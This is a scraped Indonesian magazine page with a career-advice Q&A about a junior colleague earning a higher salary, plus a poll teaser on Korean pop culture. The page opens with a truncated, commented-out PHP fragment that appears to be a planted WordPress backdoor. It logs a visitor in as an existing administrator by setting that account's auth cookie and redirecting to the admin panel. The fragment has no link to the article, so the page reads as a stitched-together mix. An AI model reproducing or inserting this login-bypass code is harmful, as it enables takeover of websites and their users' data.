user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Menyikapi Gaji Karyawan Junior yang Lebih Tinggi

19 Apr 2016


Foto: Fotosearch
 
T: Rekan kerja mendapatkan gaji lebih besar dibandingkan saya yang berpengalaman dan memiliki posisi lebih tinggi. Apakah saya harus minta kenaikan gaji dari atasan atau justru pindah pekerjaan?
 
Manda Pratiwi - Depok
Advertisement
 
J: Persoalan gaji memang bersifat konfidensial. Namun, besaran gaji karyawan tak hanya dipertimbangkan dari posisi atau pengalaman saja, bisa juga karena kompensasi yang setimpal dengan keahlian khusus yang dimilikinya. Jika berencana meminta kenaikan gaji, bicarakan dengan atasan tentang ekspektasinya terhadap Anda dalam rangka promosi atau kenaikan gaji tanpa harus membandingkan gaji rekan Anda.
            Saat mendiskusikan hal itu, ada baiknya hindari topik yang bersinggungan dengan gaji dan lebih fokus pada peningkatan kinerja Anda. Apabila Anda sudah memberikan yang terbaik sesuai ekspektasi kantor, tapi masih belum mendapatkan apresiasi, saat itulah Anda dapat mempertimbangkan untuk pindah pekerjaan.

(Chalifatunisa – Konsultan EXPERD)
 



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?